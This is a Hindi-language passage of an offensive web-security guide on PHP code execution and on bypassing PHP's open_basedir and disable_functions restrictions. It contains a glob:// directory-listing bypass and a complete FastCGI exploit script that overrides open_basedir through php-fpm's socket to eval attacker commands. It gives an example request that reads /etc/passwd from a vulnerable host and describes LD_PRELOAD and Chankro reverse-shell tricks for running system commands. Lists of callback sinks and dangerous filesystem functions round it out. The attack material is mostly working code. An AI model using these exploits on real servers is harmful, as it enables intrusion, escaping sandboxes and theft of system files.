pcntl_exec - एक प्रोग्राम को निष्पादित करता है (डिफ़ॉल्ट रूप से आधुनिक और नॉन-मॉडर्न PHP में, इस फ़ंक्शन का उपयोग करने के लिए आपको pcntl.so मॉड्यूल लोड करने की आवश्यकता है)
mail / mb_send_mail - यह फ़ंक्शन मेल भेजने के लिए उपयोग किया जाता है, लेकिन इसका दुरुपयोग करके $options पैरामीटर के अंदर मनमाने कमांड इंजेक्ट किए जा सकते हैं। इसका कारण यह है कि php mail फ़ंक्शन आमतौर पर सिस्टम के अंदर sendmail बाइनरी को कॉल करता है और यह आपको अतिरिक्त विकल्प डालने की अनुमति देता है। हालाँकि, आप निष्पादित कमांड का आउटपुट नहीं देख पाएंगे, इसलिए यह अनुशंसित है कि एक शेल स्क्रिप्ट बनाई जाए जो आउटपुट को एक फ़ाइल में लिखे, इसे मेल का उपयोग करके निष्पादित करे, और आउटपुट प्रिंट करे:
dl - यह फ़ंक्शन PHP एक्सटेंशन को गतिशील रूप से लोड करने के लिए उपयोग किया जा सकता है। यह फ़ंक्शन हमेशा मौजूद नहीं होगा, इसलिए आपको इसे शोषण करने से पहले यह जांचना चाहिए कि यह उपलब्ध है या नहीं। इस पृष्ठ को पढ़ें कि इस फ़ंक्शन का शोषण कैसे करें।
PHP कोड निष्पादन
eval के अलावा PHP कोड निष्पादित करने के अन्य तरीके हैं: include/require का उपयोग स्थानीय फ़ाइल शामिल करने और दूरस्थ फ़ाइल शामिल करने की कमजोरियों के रूप में दूरस्थ कोड निष्पादन के लिए किया जा सकता है।
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Disabled functions वह सेटिंग है जिसे PHP में .ini फ़ाइलों में कॉन्फ़िगर किया जा सकता है जो निर्दिष्ट functions के उपयोग को निषेध करती है। Open basedir वह सेटिंग है जो PHP को उस फ़ोल्डर का संकेत देती है जिसे वह एक्सेस कर सकता है।
PHP सेटिंग को /etc/php7/conf.d या समान पथ में कॉन्फ़िगर किया जाना चाहिए।
दोनों कॉन्फ़िगरेशन को phpinfo() के आउटपुट में देखा जा सकता है:
open_basedir Bypass
open_basedir उन फ़ोल्डरों को कॉन्फ़िगर करेगा जिन्हें PHP एक्सेस कर सकता है, आप उन फ़ोल्डरों के बाहर किसी भी फ़ाइल को लिखने/पढ़ने/निष्पादित करने में असमर्थ होंगे, लेकिन आप अन्य निर्देशिकाओं को सूचीबद्ध करने में भी असमर्थ होंगे।
हालांकि, यदि किसी तरह आप मनमाना PHP कोड निष्पादित करने में सक्षम हैं, तो आप निषेध को बायपास करने के लिए निम्नलिखित कोड के टुकड़े को कोशिश कर सकते हैं।
Listing dirs with glob:// bypass
इस पहले उदाहरण में glob:// प्रोटोकॉल का उपयोग कुछ पथ बायपास के साथ किया गया है:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Note1: पथ में आप /e??/* का उपयोग /etc/* और किसी अन्य फ़ोल्डर को सूचीबद्ध करने के लिए भी कर सकते हैं।
Note2: ऐसा लगता है कि कोड का एक भाग डुप्लिकेट है, लेकिन यह वास्तव में आवश्यक है!
Note3: यह उदाहरण केवल फ़ोल्डरों को सूचीबद्ध करने के लिए उपयोगी है, फ़ाइलों को पढ़ने के लिए नहीं।
पूर्ण open_basedir बायपास FastCGI का दुरुपयोग
यदि आप PHP-FPM और FastCGI के बारे में अधिक जानना चाहते हैं तो आप इस पृष्ठ के पहले अनुभाग को पढ़ सकते हैं।
यदि php-fpm कॉन्फ़िगर किया गया है तो आप इसका दुरुपयोग करके open_basedir को पूरी तरह से बायपास कर सकते हैं:
ध्यान दें कि आपको सबसे पहले यह पता लगाना होगा कि php-fpm का यूनिक्स सॉकेट कहाँ है। यह आमतौर पर /var/run के तहत होता है, इसलिए आप डायरेक्टरी को सूचीबद्ध करने और इसे खोजने के लिए पिछले कोड का उपयोग कर सकते हैं।
यहाँ से कोड।
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
यह स्क्रिप्ट php-fpm के यूनिक्स सॉकेट के साथ संवाद करेगी (जो आमतौर पर /var/run में स्थित होती है यदि fpm का उपयोग किया जाता है) ताकि मनमाना कोड निष्पादित किया जा सके। open_basedir सेटिंग्स को भेजे गए PHP_VALUE विशेषता द्वारा अधिलेखित किया जाएगा।
ध्यान दें कि eval का उपयोग उस PHP कोड को निष्पादित करने के लिए किया जाता है जो आप cmd पैरामीटर के अंदर भेजते हैं।
साथ ही commented line 324 पर ध्यान दें, आप इसे अनकमेंट कर सकते हैं और पेलोड स्वचालित रूप से दिए गए URL से कनेक्ट होगा और वहां निहित PHP कोड को निष्पादित करेगा।
बस http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); पर जाएं ताकि /etc/passwd फ़ाइल की सामग्री प्राप्त की जा सके।
आप सोच रहे होंगे कि जिस तरह से हमने open_basedir कॉन्फ़िगरेशन को अधिलेखित किया है, हम disable_functions को भी अधिलेखित कर सकते हैं। खैर, इसे आजमाएं, लेकिन यह काम नहीं करेगा, स्पष्ट रूप से disable_functions केवल एक .ini php कॉन्फ़िगरेशन फ़ाइल में कॉन्फ़िगर किया जा सकता है और PHP_VALUE का उपयोग करके किए गए परिवर्तन इस विशेष सेटिंग पर प्रभावी नहीं होंगे।
disable_functions बायपास
यदि आप किसी मशीन के अंदर PHP कोड निष्पादित करने में सफल होते हैं, तो आप शायद अगले स्तर पर जाना चाहेंगे और मनमाने सिस्टम कमांड्स को निष्पादित करना चाहेंगे। इस स्थिति में यह सामान्य है कि अधिकांश या सभी PHP फंक्शंस जो **सिस्टम कमांड्स को निष्पादित करने की अनुमति देते हैं, disable_functions में निष्क्रिय कर दिए गए हैं।
तो, चलिए देखते हैं कि आप इस प्रतिबंध को कैसे बायपास कर सकते हैं (यदि आप कर सकते हैं)
स्वचालित बायपास खोज
आप उपकरण https://github.com/teambi0s/dfunc-bypasser का उपयोग कर सकते हैं और यह आपको बताएगा कि कौन सा फंक्शन (यदि कोई हो) आप disable_functions को बायपास करने के लिए उपयोग कर सकते हैं।
अन्य सिस्टम फंक्शंस का उपयोग करके बायपास करना
बस इस पृष्ठ की शुरुआत पर लौटें और जांचें कि क्या कोई भी कमांड निष्पादित करने वाले फंक्शंस निष्क्रिय नहीं हैं और वातावरण में उपलब्ध हैं। यदि आप उनमें से केवल 1 को पाते हैं, तो आप इसे मनमाने सिस्टम कमांड्स को निष्पादित करने के लिए उपयोग कर सकते हैं।
LD_PRELOAD बायपास
यह अच्छी तरह से ज्ञात है कि PHP में कुछ फंक्शंस जैसे mail() सिस्टम के अंदर बाइनरीज़ को निष्पादित करने जा रहे हैं। इसलिए, आप उन्हें LD_PRELOAD पर्यावरण चर का उपयोग करके दुरुपयोग कर सकते हैं ताकि वे किसी भी चीज़ को निष्पादित करने के लिए एक मनमानी लाइब्रेरी लोड करें।
LD_PRELOAD के साथ disable_functions को बायपास करने के लिए उपयोग किए जा सकने वाले फंक्शंस
mail
mb_send_mail: जब php-mbstring मॉड्यूल स्थापित होता है तो प्रभावी।
imap_mail: यदि php-imap मॉड्यूल मौजूद है तो काम करता है।
libvirt_connect: php-libvirt-php मॉड्यूल की आवश्यकता होती है।
gnupg_init: php-gnupg मॉड्यूल स्थापित होने पर उपयोगी।
new imagick(): इस क्लास का दुरुपयोग प्रतिबंधों को बायपास करने के लिए किया जा सकता है। विस्तृत शोषण तकनीकें एक व्यापक writeup here में पाई जा सकती हैं।
आप यहां खोज सकते हैं वह फज़िंग स्क्रिप्ट जो उन फंक्शंस को खोजने के लिए उपयोग की गई थी।
यहां एक लाइब्रेरी है जिसे आप LD_PRELOAD पर्यावरण चर का दुरुपयोग करने के लिए संकलित कर सकते हैं:
इस गलत कॉन्फ़िगरेशन का दुरुपयोग करने के लिए आप Chankro का उपयोग कर सकते हैं। यह एक उपकरण है जो PHP एक्सप्लॉइट उत्पन्न करेगा जिसे आपको कमजोर सर्वर पर अपलोड करना है और इसे निष्पादित करना है (वेब के माध्यम से एक्सेस करें)।
Chankro पीड़ित के डिस्क में लाइब्रेरी और रिवर्स शेल लिखेगा जिसे आप निष्पादित करना चाहते हैं और LD_PRELOAD ट्रिक + PHP mail() फ़ंक्शन का उपयोग करके रिवर्स शेल को निष्पादित करेगा।
ध्यान दें कि Chankro का उपयोग करने के लिए, mail और putenvdisable_functions सूची में नहीं होना चाहिए।
निम्नलिखित उदाहरण में आप देख सकते हैं कि arch 64 के लिए chankro एक्सप्लॉइट कैसे बनाया जाता है, जो whoami को निष्पादित करेगा और आउटपुट को /tmp/chankro_shell.out में सहेजेगा, chankro लाइब्रेरी और पेलोड को /tmp में लिखेगा और अंतिम एक्सप्लॉइट को bicho.php कहा जाएगा (यह वह फ़ाइल है जिसे आपको पीड़ित के सर्वर पर अपलोड करना है):
ध्यान दें कि PHP का उपयोग करके आप फाइलें पढ़ और लिख सकते हैं, निर्देशिकाएँ बना सकते हैं और अनुमतियाँ बदल सकते हैं।
आप यहां तक कि डेटाबेस डंप भी कर सकते हैं।
शायद PHP का उपयोग करके बॉक्स को गणना करने पर आप विशेषाधिकार बढ़ाने/कमांड निष्पादित करने का एक तरीका खोज सकते हैं (उदाहरण के लिए कुछ निजी ssh कुंजी पढ़ना)।
यदि कुछ विशिष्ट मॉड्यूल का उपयोग किया जा रहा है या कुछ विशिष्ट PHP संस्करण का शोषण किया जा रहा है, तो disable_functions को बायपास करने के कई तरीके हैं:
ये फ़ंक्शन एक स्ट्रिंग पैरामीटर स्वीकार करते हैं जिसका उपयोग हमलावर की पसंद के फ़ंक्शन को कॉल करने के लिए किया जा सकता है। फ़ंक्शन के आधार पर, हमलावर के पास पैरामीटर पास करने की क्षमता हो सकती है या नहीं। उस मामले में, एक सूचना प्रकटीकरण फ़ंक्शन जैसे phpinfo() का उपयोग किया जा सकता है।
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Information Disclosure
इनमें से अधिकांश फ़ंक्शन कॉल सिंक नहीं हैं। लेकिन यदि लौटाए गए डेटा में से कोई भी डेटा हमलावर के लिए दृश्य है, तो यह एक भेद्यता हो सकती है। यदि एक हमलावर phpinfo() देख सकता है, तो यह निश्चित रूप से एक भेद्यता है।
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Filesystem Functions
RATS के अनुसार, php में सभी filesystem functions खराब हैं। इनमें से कुछ हमलावर के लिए बहुत उपयोगी नहीं लगते। अन्य उतने उपयोगी हैं जितना आप सोच सकते हैं। उदाहरण के लिए, यदि allow_url_fopen=On है, तो एक url को फ़ाइल पथ के रूप में उपयोग किया जा सकता है, इसलिए copy($_GET['s'], $_GET['d']); का कॉल सिस्टम पर कहीं भी एक PHP स्क्रिप्ट अपलोड करने के लिए उपयोग किया जा सकता है। इसके अलावा, यदि एक साइट GET के माध्यम से भेजे गए अनुरोध के प्रति संवेदनशील है, तो उन सभी फ़ाइल सिस्टम फ़ंक्शंस का दुरुपयोग किया जा सकता है ताकि आपके सर्वर के माध्यम से एक हमले को दूसरे होस्ट पर चैनल किया जा सके।
फाइल सिस्टम पर लिखें (पढ़ने के साथ आंशिक रूप से संयोजन में)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir